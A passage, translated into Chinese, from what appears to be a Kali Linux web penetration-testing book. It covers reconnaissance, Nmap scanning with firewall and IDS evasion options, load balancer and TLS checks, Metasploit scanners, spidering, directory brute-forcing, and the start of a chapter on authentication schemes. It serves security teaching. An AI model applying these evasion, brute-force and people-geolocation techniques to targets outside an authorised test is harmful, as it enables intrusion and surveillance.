  • 地理编码器和反向地理编码器:这些模块使用提供的坐标使用 Google Map API 获取地址,并且如果提供了地址,则还会检索坐标。然后将信息存储在位置表中。

  • 推销模块:使用 Recon-ng 推销模块,您可以从流行的社交网络网站中提取数据,将其与地理位置坐标相关联,并创建地图。两个广泛使用的模块如下:

  • Twitter 地理位置搜索:这在 Twitter 上搜索从给定坐标的特定半径内上传的媒体(图片和推文)

  • Flickr 地理位置搜索:这试图找到从给定坐标附近上传的照片

这些推销模块可用于将人员映射到物理位置,并确定在特定时间给定坐标处的人员。通过 Recon-ng,您可以仅使用公开可用的资源创建一个庞大的主机、IP 地址、物理位置和人员数据库。

侦察应始终以从各种公共资源中提取信息并识别攻击者可以直接或间接利用的敏感数据为目标进行。

扫描-探测目标

渗透测试需要在有限的时间内进行,侦察阶段是最少时间的阶段。在真实的渗透测试中,您将在侦察阶段收集的信息与客户共享,并尝试就应包含在扫描阶段中的目标达成共识。

在这个阶段,客户还可以向您提供在侦察阶段未识别的其他目标和域,但它们将包含在实际的测试和利用阶段中。这样做是为了通过包括黑帽和白帽黑客的方法来获得测试的最大效益,您将测试开始时像恶意攻击者一样进行测试,并随着测试的进行,提供额外的信息,从而得到目标的准确视图。

确定托管网站的目标服务器后,下一步是收集其他信息,如操作系统和该特定服务器上可用的服务。除了托管网站外,一些组织还启用 FTP 服务,并根据需要打开其他端口。作为第一步,您需要确定除端口80和端口443之外的 Web 服务器上打开的其他端口。

扫描阶段包括以下几个阶段:

  • 端口扫描

  • 操作系统指纹识别

  • Web 服务器版本识别

  • 基础设施分析

  • 应用程序识别

使用 Nmap 进行端口扫描

网络映射器,通常称为 Nmap,是最广为人知的端口扫描器。它以极高的成功率找到 TCP 和 UDP 开放端口,并且是渗透测试人员工具包中的重要组成部分。Kali Linux 预装了 Nmap。Nmap 定期更新,并由一群积极贡献于这个开源工具的开发人员维护。

默认情况下,Nmap 不会向所有端口发送探测。 Nmap 仅检查在nmap-services文件中指定的前 1000 个常用端口。每个端口条目都有一个相应的数字,表示该端口开放的可能性。这大大提高了扫描的速度,因为扫描中省略了不太重要的端口。根据目标的响应,Nmap 确定端口是开放的、关闭的还是被过滤的。

端口扫描的不同选项

运行 Nmap 端口扫描的直接方法称为TCP 连接扫描。此选项用于扫描打开的 TCP 端口,并使用-sT选项调用。连接扫描执行完整的三次 TCP 握手(SYN-SYN / ACK-ACK)。它提供了更准确的端口状态,但更有可能在目标机器上被记录,并且比替代的 SYN 扫描更慢。使用-sS选项的 SYN 扫描不会与目标完成握手,因此不会在目标机器上记录。但是,SYN 扫描生成的数据包可能会引起防火墙和 IPS 设备的警报,并且有时会被这些设备默认阻止。

当使用-F标志调用 Nmap 时,将扫描前 100 个端口而不是前 1000 个端口。此外,它还提供了使用--top-ports [N]标志自定义扫描的选项,以从nmap-services文件中扫描N个最流行的端口。许多组织可能有应用程序将侦听不在nmap-services文件中的端口。对于这种情况,可以使用-p标志为 Nmap 定义要扫描的端口、端口列表或端口范围。

有 65535 个 TCP 和 UDP 端口,以及可以使用任何端口的应用程序。如果您愿意,可以使用-p 1-65535-p-选项测试所有端口。

以下屏幕截图显示了前面命令的输出:

在渗透测试中,非常重要的是保存结果并保留运行的所有工具的日志。您应该保存笔记和记录以更好地组织项目,并将日志保存为预防措施,以防目标出现问题。然后,您可以返回到日志中检索可能对重新建立服务或识别故障源至关重要的信息。 Nmap 具有各种-o选项,可将其结果保存为不同的文件格式:-oX用于 XML 格式,-oN用于 Nmap 输出格式,-oG用于可搜索的文本,-oA用于全部。

使用 Nmap 绕过防火墙和 IPS

除了用于 TCP 的不同扫描之外,Nmap 还提供了各种选项,可在从组织网络外部扫描目标时帮助规避防火墙。以下是这些选项的描述:

  • ACK 扫描:此选项用于规避某些路由器上的规则,这些规则仅允许来自内部网络的 SYN 数据包,从而阻止默认的连接扫描。这些路由器只允许内部客户端通过路由器建立连接,并阻止所有源自外部网络且带有 SYN 位设置的数据包。当使用-sA标志调用 ACK 扫描选项时,Nmap 生成仅带有 ACK 位设置的数据包,欺骗路由器认为该数据包是对内部客户端建立的连接的响应,并允许数据包通过。 ACK 扫描选项无法可靠地确定目标系统的端口是打开还是关闭,因为不同的系统以不同的方式响应未经请求的 ACK。但是,它可以用于识别路由器后面的在线系统。

  • 防火墙规则中的硬编码源端口:许多防火墙管理员使用规则配置防火墙,允许来自外部网络的入站流量,源自特定源端口(如532580)。默认情况下,Nmap 会随机选择源端口,但可以配置为使用特定源端口以规避此规则,使用--source-port选项。

  • 自定义数据包大小:Nmap 和其他端口扫描器以特定大小发送数据包,而防火墙现在已经定义了规则以丢弃此类数据包。为了规避此检测,可以使用--data-length选项配置 Nmap 以使用不同大小的数据包发送。

  • 自定义 MTU:Nmap 还可以配置为发送较小 MTU 的数据包。扫描将使用--mtu选项和 MTU 的值进行。这可以用于规避一些较旧的防火墙和入侵检测设备。新的防火墙在将流量发送到目标机器之前重新组装流量,因此很难规避它们。MTU 需要是 8 的倍数。以太网局域网的默认 MTU 为 1,500 字节。

  • 分段数据包:绕过 IDS 和 IPS 系统的常见而有效的方法是分段数据包,以便在被这些防御机制分析时,它们不匹配恶意模式。Nmap 可以使用-f选项来执行此操作,当执行完整的 TCP 扫描(-sT)时。

  • MAC 地址欺骗:如果目标环境中配置了仅允许来自特定 MAC 地址的网络数据包的规则,您可以配置 Nmap 设置特定的 MAC 地址来进行端口扫描。端口扫描数据包也可以使用--spoof-mac选项配置特定的 MAC 地址。

识别操作系统

在识别 Web 服务器上的开放端口后,您需要确定底层操作系统。Nmap 提供了几个选项来实现这一点。使用-O选项执行操作系统扫描;您可以添加-v以获取详细输出,以了解确定操作系统所进行的底层测试:

一位熟练的黑客不依赖于单一工具的结果。因此,Kali Linux 配备了多个指纹识别工具;除了使用 Nmap 运行版本扫描外,您还可以使用 Amap 等工具来获取第二个意见。

对服务器进行分析

确定了底层操作系统和开放端口后,您需要识别在开放端口上运行的确切应用程序。在扫描 Web 服务器时,您需要分析在操作系统之上运行的 Web 服务的类型和版本。Web 服务器基本上处理应用程序的 HTTP 请求并将其分发到 Web;Apache、IIS 和 nginx 是最常用的 Web 服务器。除了版本之外,您还需要在进行利用阶段之前识别 Web 服务器上启用的任何其他软件、功能和配置。

Web 应用程序开发严重依赖于诸如 PHP 和.NET 之类的框架,每个 Web 应用程序将根据用于设计它的框架而需要不同的技术。

除了对 Web 服务器进行版本扫描外,您还需要识别支持 Web 应用程序的其他组件,例如数据库应用程序、加密算法和负载均衡器。

同一台物理服务器上通常部署有多个网站。您只需要攻击渗透测试项目范围内的网站,并且需要对虚拟主机有适当的理解才能做到这一点。

识别虚拟主机

许多组织的网站是由使用共享资源的服务提供商托管的。共享 IP 地址是他们使用的最有用和经济有效的技术之一。当您对特定 IP 地址进行反向 DNS 查询时,通常会返回多个域名。这些网站使用基于名称的虚拟主机,它们通过主机头值与在同一 IP 地址上托管的其他网站进行唯一标识和区分。

这类似于多路复用系统。当服务器接收到请求时,通过查阅请求头中的Host字段来识别和路由请求到特定的主机。这在第一章中讨论过,即渗透测试和 Web 应用程序简介

在与网站交互和构建攻击时,识别托管类型非常重要。如果 IP 地址托管多个网站,则必须在攻击中包含正确的主机头值,否则将无法获得所需的结果。这也可能影响托管在该 IP 地址上的其他网站。直接使用 IP 地址进行攻击可能会产生不良结果,并且可能会击中超出范围的元素。如果这些元素不属于客户组织,则可能会产生法律影响。

使用搜索引擎查找虚拟主机

您可以通过分析 DNS 记录来确定一个 IP 地址上是否托管了多个网站。如果多个名称指向同一个 IP 地址,则主机头值用于唯一标识网站。可以使用dignslookup等 DNS 工具来识别返回相似 IP 地址的域名。

您可以使用ipneighbour.com/网站来确定其他网站是否托管在给定的 Web 服务器上。以下示例显示了几个与维基百科相关的网站托管在同一个 IP 地址上:

识别负载均衡器

高需求的网站和应用程序使用某种形式的负载平衡来分发服务器负载并保持高可用性。网站的互动性使得用户在整个会话期间访问同一台服务器对于最佳用户体验至关重要。例如,在电子商务网站上,一旦用户将商品添加到购物车中,预期用户将在结账页面再次连接到同一台服务器以完成交易。引入中间件,如负载均衡器,使得负载均衡器将用户的后续请求发送到同一台服务器变得非常重要。

有几种技术可以用来在服务器之间平衡用户连接。DNS 是最容易配置的,但它不可靠,并且不能提供真正的负载平衡体验。硬件负载均衡器是今天用来将流量路由到维护多个 Web 服务器的网站的工具。

在渗透测试中,有必要识别使用的负载均衡技术,以便全面了解网络基础设施。一旦识别出来,现在必须测试负载均衡器后面的每个服务器的漏洞。还需要与客户团队合作,因为不同的硬件负载均衡器供应商使用不同的技术来维护会话亲和性。

基于 cookie 的负载均衡器

硬件负载均衡器常用的一种方法是在终端客户端的浏览器中插入一个 cookie,将用户与特定服务器绑定。这个 cookie 是在 IP 地址之外设置的,因为许多用户将位于代理或 NAT 配置后面,并且其中大多数将使用相同的源 IP 地址。

每个负载均衡器都有自己的 cookie 格式和名称。这些信息可以用来确定是否正在使用负载均衡器以及其提供者是谁。负载均衡器设置的 cookie 还可以揭示与目标相关的敏感信息,这对渗透测试人员可能有用。

可以配置 Burp Proxy 来拦截连接,并通过分析头部查找 cookie。如下图所示,目标正在使用 F5 负载均衡器。长数字值实际上是包含池名称、Web 服务器 IP 地址和端口的编码值。因此,在这里,负载均衡器 cookie 揭示了不应该揭示的关键服务器详细信息。可以配置负载均衡器以设置不揭示此类详细信息的自定义 cookie:

F5 负载均衡器的默认 cookie 格式如下:

BIGipServer<pool name> =<coded server IP>.<coded server port>.0000 

其他识别负载均衡器的方法

识别负载均衡器的其他方法如下:

  • 分析服务器之间的 SSL 差异:不同的 Web 服务器之间的 SSL 配置可能会有细微的变化。发给池中 Web 服务器的证书的时间戳可能会有所不同。可以利用 SSL 配置的差异来确定负载均衡器后面是否配置了多个服务器。

  • 重定向到不同的 URL:另一种将请求在服务器之间进行负载均衡的方法是通过将客户端重定向到不同的 URL 来分发负载。用户可能浏览到一个网站www.example.com,但被重定向到www2.example.com。另一个用户的请求被重定向到www1.example.com,然后传递一个来自不同服务器的网页。这是识别负载均衡器最简单的方法之一,但由于管理开销和安全问题,它并不经常被实现。

  • 负载均衡器的 DNS 记录:DNS 区域中的主机记录可用于判断设备是否为负载均衡器。

  • 负载均衡器检测器:这是 Kali Linux 中包含的一个工具。它用于确定网站是否使用负载均衡器。从 shell 执行该工具的命令是lbd <网站名称>。该工具附带了一个免责声明,说明它是一个概念验证工具,可能会产生误报。

  • Web 应用程序防火墙(WAF):除了负载均衡器外,应用程序还可能使用 WAF 来防御攻击。Kali Linux 中的 WAFW00F Web 应用程序防火墙检测工具能够检测路径中是否存在任何 WAF 设备。可以通过导航到信息收集| IDS / IPS 识别来访问该工具。

应用程序版本指纹识别

在端口25和端口80等众所周知的端口上运行的服务可以很容易地识别,因为它们被广泛知名的应用程序(如邮件服务器和 Web 服务器)使用。互联网分配号码管理局IANA)负责维护端口号的官方分配,并且可以从每个操作系统中的端口映射文件中识别映射。然而,许多组织在更适合其基础设施的端口上运行应用程序。您经常会看到一个内部网站在端口8080上运行,而不是端口80,或者在端口8443上运行,而不是端口443

端口映射文件只是一个占位符,应用程序可以在任何开放的端口上运行,由开发人员设计,违背了 IANA 设定的映射。这正是为什么您需要进行版本扫描,以确定 Web 服务器是否确实在端口80上运行,并进一步分析该服务的版本。

Nmap 版本扫描

Nmap 有几个选项可用于执行版本扫描;版本扫描可以与操作系统扫描结合使用,也可以单独运行。Nmap 通过发送各种数据包来探测目标,然后分析响应以确定确切的服务及其版本。

要仅进行版本扫描,请使用-sV选项。操作系统扫描和版本扫描可以使用-A(侵略性)选项结合在一起,该选项还包括路由跟踪和执行一些脚本。如果没有定义端口以及扫描选项,Nmap 将首先使用默认的前 1000 个端口列表对目标进行端口扫描,并从中识别开放的端口。

接下来,它将向开放的端口发送探测,并分析响应以确定在该特定端口上运行的应用程序。接收到的响应与nmap-service-probes文件中的大型签名数据库进行匹配。它类似于 IPS 签名的工作原理,其中网络数据包与包含恶意数据包签名的数据库进行匹配。版本扫描选项的好坏取决于该文件中签名的质量。

以下截图显示了前面命令的输出:

您可以向 Nmap 项目报告不正确的结果和未知端口的新签名。这有助于提高未来版本中签名的质量。

Amap 版本扫描

Kali Linux 还附带了一个名为 Amap 的工具,它由The Hacker's Choice(THC)组创建,类似于 Nmap。它通过发送一些数据包来探测开放的端口,然后分析响应以确定在该端口上监听的服务。

将要发送到目标端口的探针定义在名为appdefs.trig的文件中,并且接收到的响应会与appdefs.resp文件中的签名进行分析。

在渗透测试期间,使用多个工具探测端口是很重要的,以排除任何错误的阳性或阴性。仅依赖一个工具的签名可能在测试期间证明是致命的,因为您未来的攻击将取决于在此阶段识别的服务及其版本。

您可以使用-bqv选项调用 Amap,它只会报告打开的端口并打印收到的 ASCII 响应以及与之相关的一些详细信息:

指纹识别 Web 应用程序框架

了解用于开发网站的框架可以帮助您识别未修补版本中可能存在的漏洞。

例如,如果网站是在 WordPress 平台上开发的,可以在该网站的网页中找到其痕迹。大多数 Web 应用程序框架都有可以被攻击者用来确定所使用框架的标记。

有几个地方可以揭示有关框架的详细信息。

HTTP 标头

除了定义 HTTP 事务的操作参数之外,标头还可以包含对攻击者有用的其他信息。

在下面的示例中,使用 Firefox 的开发工具(F12键),您可以从Server字段中确定正在使用 Apache Web 服务器。此外,使用X-AspNet-Version,您可以确定 ASP.NET 版本 2 是开发框架。这种方法并不总是有效,因为标头字段可以通过服务器端的适当配置禁用:

应用程序框架还会创建新的 Cookie 值,这些值可以帮助您了解所使用的底层框架,因此也要注意 Cookie。

HTML 页面源代码中的注释也可以指示用于开发 Web 应用程序的框架。页面源中的信息还可以帮助您识别使用的其他 Web 技术。

WhatWeb 扫描器

WhatWeb 工具用于识别网站使用的不同 Web 技术。它包含在 Kali Linux 中,并且可以通过转到应用程序 | 03 - Web 应用程序分析 | Web 漏洞扫描器来访问。它可以识别不同的内容管理系统、统计/分析包和用于设计 Web 应用程序的 JavaScript 库。该工具声称拥有超过 900 个插件。它可以以不同的侵略性级别运行,以平衡速度和可靠性。该工具可以在单个网页上获取足够的信息来识别网站,也可以递归查询网站以识别使用的技术。

在下一个示例中,我们将使用该工具针对 OWASP BWA 虚拟机,并启用-v详细选项。这将打印出与识别的技术相关的一些有用信息:

扫描 Web 服务器以查找漏洞和配置错误

到目前为止,我们已经处理了目标的基础设施部分。现在我们需要分析底层软件并尝试了解隐藏在背后的不同技术。使用默认配置设计的 Web 应用程序容易受到攻击,因为它们为恶意攻击者提供了多个入口来利用应用程序。

Kali Linux 提供了几个工具来分析 Web 应用程序的配置问题。扫描工具通过浏览整个网站并寻找有趣的文件、文件夹和配置设置来识别漏洞。未正确实施和发现运行在旧版本上的服务器端脚本语言,如 PHP 和 CGI,可以使用自动化工具进行利用。

使用 Nmap 识别 HTTP 方法

在 Web 渗透测试期间,对 Web 服务器的第一个直接请求应该是识别 Web 服务器支持的方法。您可以使用 Netcat 打开到 Web 服务器的连接,并使用OPTIONS方法查询 Web 服务器。您还可以使用 Nmap 确定支持的方法。

在不断增长的 Nmap 脚本库中,您可以找到一个名为http-methods.nse的脚本。当您使用--script选项和目标运行该脚本时,它将列出目标上允许的 HTTP 方法,并指出危险的方法。在下面的截图中,您可以看到它检测到了几种启用的方法,并指出TRACE作为一种风险方法:

使用 Metasploit 中的辅助模块测试 Web 服务器

以下模块对于渗透测试人员测试 Web 服务器的漏洞非常有用:

  • dir_listing: 这个模块将连接到目标 Web 服务器,并确定是否在其上启用了目录浏览。

  • dir_scanner: 使用这个模块,你可以扫描目标网站以查找任何有趣的网页目录。你可以提供一个自定义创建的字典给模块,或者使用默认的字典。

  • enum_wayback: 这是一个有趣的模块,它查询 Internet Archive 网站,并查找目标域中的网页。可能已经取消链接的旧网页仍然可以访问,并且可以使用 Internet Archive 网站找到它们。您还可以识别网站在多年间经历的变化。

  • files_dir: 这个模块可以用来扫描服务器以查找数据泄漏漏洞,通过定位配置文件和源代码文件的备份。

  • http_login: 如果网页有一个在 HTTP 上工作的登录页面,您可以尝试使用 Metasploit 字典对其进行暴力破解。

  • robots_txt: 机器人文件可能包含一些未被探索的 URL,您可以使用这个模块查询它们,以找到未被搜索引擎索引的 URL。

  • webdav_scanner: 这个模块可以用来查找服务器上是否启用了 WebDAV,这基本上将 Web 服务器变成了文件服务器。

识别 HTTPS 配置和问题

任何管理任何敏感或个人可识别信息(姓名、电话号码、地址、健康、信用或税务记录、信用卡和银行账户信息等)的网站或 Web 应用程序都需要实施一种机制来保护信息在客户端和服务器之间的传输过程中的安全。

HTTP 最初是作为明文协议诞生的。因此,它不包含保护客户端和服务器之间交换的信息免受第三方查看和/或修改的机制。为了解决这个问题,客户端和服务器之间创建了一个加密通信通道,并通过该通道发送 HTTP 数据包。HTTPS 是在安全通信通道上实现的 HTTP 协议。它最初是在安全套接字层SSL)上实现的。SSL 在 2014 年被弃用,并被传输层安全性TLS)取代,尽管仍有许多网站支持 SSLv3,无论是由于配置错误还是为了向后兼容。

支持旧的加密算法有一个主要的缺点。大多数旧的密码套件被密码分析师发现在合理的时间内使用当今可用的计算能力很容易被破解。

一个专门的攻击者可以从云服务提供商那里租用廉价的计算能力,并使用它来破解旧的密码套件并获取明文信息的访问权限。因此,使用旧的密码套件会提供一种虚假的安全感,应该禁用。客户端和服务器只应允许协商一种被认为是安全的、在实践中非常难以破解的密码套件。

Kali Linux 包含一些工具,允许渗透测试人员识别 SSL/TLS 实现中的配置错误。在本节中,我们将回顾最受欢迎的工具。

OpenSSL 客户端

OpenSSL包含在几乎所有 GNU/Linux 发行版中,它是基本的 SSL/TLS 客户端,并包含了一些功能,可以帮助您对 HTTPS 服务器进行一些基本测试。

一个基本的测试是与服务器建立连接。在这个例子中,我们将连接到一个在端口443上的测试服务器(默认的 HTTPS 端口):

openssl s_client -connect 10.7.7.5:443

您可以在以下截图中看到有关连接参数和证书交换的详细信息。值得注意的是,连接使用了 SSLv3,这本身就是一个安全问题,因为 SSL 已被弃用,并且已知存在漏洞,可能导致信息的完全解密,例如Padding Oracle On Downgraded Legacy EncryptionPOODLE),我们将在后面的章节中讨论:

您经常会看到密码套件被写成 ECDHE-RSA-RC4-MD5 的格式。该格式分解为以下几个部分:

  • ECDHE:这是一种密钥交换算法

  • RSA:这是一种身份验证算法

  • RC4:这是一种加密算法

  • MD5:这是一种哈希算法

可以在以下网址找到 SSL 和 TLS 密码套件的综合列表:www.openssl.org/docs/apps/ciphers.html

您可以使用 OpenSSL 的一些其他选项来更好地测试您的目标,如下所示:

  • 禁用或使用特定协议:使用-no_ssl3-no_tls1-no_tls1_1-no_tls1_2选项,您可以禁用对应协议的使用,并测试您的目标接受哪些协议

  • 测试一个特定的协议-tls1-tls1_1-tls1_2选项仅测试指定的协议

现在,接受 SSL 和 TLS 1.0 被认为是不安全的。在某些应用中,TLS 1.1 可能是可以接受的,但 TLS 1.2 是推荐的选项。

使用 SSLScan 扫描 TLS/SSL 配置

SSLScan是一个命令行工具,可以对指定目标执行各种测试,并返回 SSL/TLS 服务器接受的协议和密码套件的综合列表,以及一些在安全测试中有用的其他信息:

sslscan 10.7.7.5  

您可以使用 SSLScan 的颜色代码来快速了解显示结果的安全严重性。红色(允许 SSLv3 并使用 DES 和 RC4 密码套件)表示不安全的配置,而绿色或白色表示推荐的配置。

命令的输出可以使用--xml=<filename>选项导出为 XML 文档。

使用 SSLyze 扫描 TLS/SSL 配置

SSLyze是一个 Python 工具,可以通过与之类似的方式连接到服务器来分析服务器的 SSL/TLS 配置。它可以同时扫描多个主机,并且还可以测试性能并使用客户端证书进行双向认证。以下命令在您的测试机上运行常规的 HTTPS 扫描(包括 SSL 版本 2、SSL 版本 3 和 TLS 1.0、TLS 1.1 和 TLS 1.2 检查、有关证书的基本信息以及对压缩、重新协商和 Heartbleed 的测试):

sslyze --regular 10.7.7.5  

您可以在以下截图中看到结果:

使用 Nmap 测试 TLS/SSL 配置

Nmap 包含一个名为ssl-enum-ciphers的脚本,可以识别服务器支持的密码套件,并根据加密强度对其进行评级。它使用 SSLv3、TLS 1.1 和 TLS 1.2 进行多次连接。该脚本还会突出显示 SSL 实现是否容易受到之前发布的漏洞的影响,例如 CRIME 和 POODLE:

爬取 Web 应用程序

在测试大型真实应用程序时,您需要采用更详尽的方法。作为第一步,您需要确定应用程序的大小,因为有几个决策取决于它。您所需的资源数量、工作量估计和评估成本取决于应用程序的大小。

Web 应用程序由多个相互链接的网页组成。在开始评估应用程序之前,您需要对其进行映射以确定其大小。您可以手动浏览应用程序,点击每个链接并查看内容,就像普通用户一样。在手动爬取应用程序时,您的目标应该是尽可能多地识别 Web 页面-从认证和非认证用户的角度来看。

手动爬取应用程序既耗时又容易遗漏。Kali Linux 有许多工具可用于自动化此任务。Burp Suite 中的 Burp Spider 工具以爬取 Web 应用程序而闻名。它自动化了目录中各个 Web 页面的繁琐任务。它通过请求一个 Web 页面,解析其中的链接,然后向这些新链接发送请求,直到映射所有的 Web 页面。通过这种方式,可以映射整个应用程序,而不会忽略任何 Web 页面。

注意:

由于爬虫是一个自动化的过程,因此需要了解应用程序的过程和工作方式,以避免爬虫执行敏感请求,例如密码重置、表单提交和信息删除。

Burp Spider

Burp Spider 使用被动和主动方法来映射应用程序。

当您启动 Burp Proxy 时,默认情况下它以被动爬虫模式运行。在此模式下,当浏览器配置为使用 Burp Proxy 时,它会通过代理更新站点地图,而无需发送任何进一步的请求。被动爬虫被认为是安全的,因为您可以直接控制爬取的内容。这在包含管理功能的关键应用程序中非常重要,您不希望触发这些功能。

为了有效地进行映射,应该将被动爬虫模式与主动模式一起使用。最初,允许 Burp Spider 在您浏览应用程序时被动地进行映射,当您找到需要进一步映射的感兴趣的网页时,可以触发主动爬虫模式。在主动模式下,Burp Spider 将递归请求网页,直到映射所有 URL。

以下截图显示了被动爬虫的输出,当单击应用程序中的各个链接时。在被动映射应用程序之前,请确保将 Burp 设置为 Web 浏览器中的代理,并关闭拦截:

当您想要主动爬取一个网页时,在站点地图部分右键单击链接,然后单击 Spider this branch。一旦这样做,主动爬虫模式就会启动。在 Spider 部分,您将看到已经发出的请求,并且站点地图部分将填充新项目,如下图所示:

当活动爬虫正在运行时,它将显示所发出的请求数量和其他一些细节。在 Spider Scope 部分,您可以使用正则表达式字符串创建规则来定义目标:

应用程序登录

一个应用程序在允许您查看内容之前可能需要进行身份验证。Burp Spider 可以配置为在爬行应用程序时使用重新配置的凭据进行身份验证。在 Spider 部分的 Options 选项卡中,您可以定义凭据或选择 Prompt for guidance 选项。当您选择 Prompt for guidance 选项时,它将显示一个提示,您可以在其中输入用户名和密码,如果爬虫遇到登录页面,如下所示:

目录暴力破解

也被称为强制浏览目录暴力破解是请求应用程序或服务器页面中没有直接链接的文件和服务器目录的过程。通常通过从常见名称列表中获取目录和文件名来完成。Kali Linux 包含一些工具来完成这个任务。我们在这里将探讨其中的两个。

DIRB

DIRB可以递归扫描目录,并在 Web 服务器中查找具有不同扩展名的文件。当不是标准的 404 错误时,它可以自动检测到Not Found代码。然后,它可以将结果导出到文本文件中,在服务器需要有效会话时使用会话 cookie,并进行基本的 HTTP 身份验证和上游代理等其他功能。下图显示了基本的 DIRB 用法,使用默认字典并将输出保存到文本文件中:

ZAP 的强制浏览

DirBuster 是由 OWASP 维护的目录暴力破解工具,现已集成到 OWASP ZAP 中作为强制浏览功能。要使用它,您启动 OWASP-ZAP(在 Kali 的菜单中,转到 03 - Web Application Analysis | owasp-zap)并配置浏览器使用它作为代理;与 Burp 一样进行被动爬虫,ZAP 会注册您浏览的所有 URL 和它们从服务器请求的资源。因此,您浏览到目标并且检测到的文件和目录会记录在 ZAP 中。接下来,右键单击要进行强制浏览的目录,然后转到 Attack | Forced Browse site / Forced Browse directory / Forced Browse directory (and children)。站点、目录或目录和子目录之间的选择取决于您要扫描的内容-站点表示从服务器的根目录开始扫描,目录表示仅选择的目录,目录和子目录表示递归选择的目录:

之后,选择名称列表文件(字典)并点击开始按钮。现有的目录和文件可能会显示在同一个选项卡中:

总结

通过这个,我们来到了本章的结束。我们通过侦察阶段并通过扫描 Web 服务器完成了工作。在下图中,您可以查看渗透测试的侦察阶段涉及的任务以及 Kali Linux 中可用于每个任务的一些有用工具:

侦察是渗透测试的第一阶段。当测试一个可以从互联网访问的目标时,搜索引擎和社交网络网站可以揭示有用的信息。搜索引擎存储了大量的信息,在执行黑盒渗透测试时非常有帮助。我们使用这些免费资源来识别恶意用户可能用来攻击目标的信息。Kali Linux 有几个工具可以帮助您实现目标,在本章中我们使用了其中的一些工具。

最后,我们进入了扫描阶段,这要求黑客积极与 Web 应用程序进行交互,以识别漏洞和配置错误。

在下一章中,我们将研究影响 Web 应用程序的服务器端和客户端漏洞。

第四章:身份验证和会话管理漏洞

Web 应用程序的主要目的是允许用户访问和处理存储在远程位置的信息。有时,这些信息是公开的,而其他时候可能是特定于用户甚至是机密的。这些应用程序要求用户在被允许访问此类信息之前证明其身份。这个身份验证过程称为身份验证,它要求用户提供一个身份证明,可以是以下一个或多个:

  • 用户所知道的东西:例如用户名和秘密密码

  • 用户拥有的东西:如智能卡或发送到用户手机的特殊代码

  • 用户的特征:声音、面部、指纹或任何其他生物识别机制

第一种选择是 Web 应用程序中最常见的。还有一些情况,例如银行或内部企业应用程序,可能使用剩余方法中的一个或多个。

HTTP 是一种无状态和无连接的协议。这意味着服务器将客户端发送的每个请求视为与该客户端或任何其他客户端发送的先前或将来的请求无关。因此,用户登录到 Web 应用程序后,下一个请求将被服务器视为第一个请求。因此,客户端需要在每个请求中发送他们的凭据。这为敏感信息增加了不必要的暴露和通信的不必要努力。

已经开发了许多技术,允许 Web 应用程序跟踪用户的活动并根据他们对自己环境的更改来维护应用程序的状态,并将其与其他用户的活动分开,而无需要求他们在每个操作中都登录。这被称为会话管理

在本章中,我们将回顾现代 Web 应用程序通常如何执行身份验证和会话管理,并学习如何识别和利用这些机制中最常见的一些安全漏洞。

Web 应用程序中的身份验证方案

在进入具体的渗透测试概念之前,让我们回顾一下现代 Web 应用程序中的身份验证是如何进行的。

平台认证

在使用平台认证时,用户在每个请求的头部中发送他们的凭据,使用Authorization变量。即使他们只需要提交一次凭据,浏览器或系统也会存储它们并在需要时使用。

有几种不同类型的平台认证。最常见的几种将在以下小节中讨论。

基本认证

使用这种类型的平台认证,用户名和密码会附加在Authorization头部中,并使用 base64 进行编码。这意味着任何看到请求头的人都能够将凭据解码为明文,因为 base64 编码不是一种加密格式。

以下截图显示了如何以 base64 形式发送登录信息以及如何解码它:

您可以使用 Burp Suite 的解码器将 base64 转换为 ASCII 文本:

摘要

摘要认证比基本认证安全得多。当客户端想要访问受保护的资源时,服务器会发送一个随机字符串,称为nonce,作为挑战。然后,客户端使用此 nonce 与用户名和密码一起计算 MD5 哈希并将其发送回服务器进行验证。

NTLM

NTLM是摘要认证的一种变体,其中使用 Windows 凭据和 NTLM 哈希算法来转换应用程序的用户名和密码的挑战。此方案需要多个请求-响应交换,并且服务器和任何中间代理必须支持持久连接。

Kerberos

此认证方案使用Kerberos协议对服务器进行身份验证。与 NTLM 一样,它不要求用户名和密码,而是使用 Windows 凭据登录。该协议使用与 Web 服务器分开的认证服务器AS),并涉及一系列的协商步骤以进行身份验证。这些步骤如下:

  1. 客户端将用户名(ID)发送给 AS。

  2. AS 在数据库中查找 ID,并使用哈希密码加密会话密钥。

  3. AS 将加密的会话密钥和包含用户 ID、会话密钥、会话过期和其他数据的票证(TGT),使用服务器的秘密密钥加密后发送给客户端。如果密码不正确,客户端将无法解密其会话密钥。

  4. 客户端解密会话密钥。

  5. 当客户端想要访问 Web 服务器上的受保护资源时,它需要在一条消息中发送 TGT 和资源 ID,并在另一条消息中使用会话密钥加密客户端 ID 和时间戳。

  6. 如果服务器能够解密接收到的信息,它将使用 AS 的秘密密钥和客户端/服务器会话密钥进行加密,进一步使用客户端的会话密钥进行加密,并以客户端到服务器的票证形式进行响应。

  7. 有了 AS 提供的这些信息,客户端现在可以向 Web 服务器请求资源。

在下图中,您可以以图形方式看到该过程:

HTTP Negotiate

也称为Windows 身份验证HTTP Negotiate方案使用 Windows 凭据,并根据 Kerberos 是否可用来选择 Kerberos 或 NTLM 身份验证。

平台认证的缺点

尽管 Kerberos 和 NTLM 方案被认为是安全的,即使在 TLS 上使用摘要或基本认证也可以降低恶意参与者拦截通信并窃取凭据的风险,但是在安全方面,平台认证仍然具有一些固有的缺点。它们如下:

  • 凭据更频繁地发送,因此它们的暴露和在中间人攻击MITM)中被捕获的风险更高,特别是对于基本、摘要和 NTLM 方案。

  • 平台认证没有注销或会话过期选项。当使用 Windows 身份验证时,由于单点登录SSO)已经启用,用户打开应用程序的主页面时会立即开始会话,而不需要用户名和密码,并且如果会话过期,它会自动续订。如果攻击者能够访问用户的计算机或 Windows 帐户,他们将立即获得对应用程序的访问权限。

  • 平台认证不适用于公共应用程序,因为与最流行的基于表单的认证相比,它们需要更高的技术和管理工作量来设置和管理。

基于表单的认证

这是我们更熟悉的一种认证方式:一个包含用户名和密码字段以及提交按钮的 HTML 表单:

此认证可能因情况而异,因为其实现完全依赖于应用程序。尽管如此,最常见的方法遵循以下步骤:

  1. 用户填写认证表单并点击提交按钮。然后,客户端(Web 浏览器)将包含用户名和密码的请求以明文形式发送到服务器,除非应用程序进行了客户端加密。

  2. 服务器接收信息并检查用户在其数据库中的存在,并比较存储的密码(或密码哈希)与提交的密码。

  3. 如果用户存在且密码正确,服务器将以肯定的消息作出回应,该消息可能包括重定向到用户的主页和会话标识符(通常作为 cookie),以便用户无需再次发送凭据。

  4. 客户端接收响应,存储会话标识符,并重定向到主页。

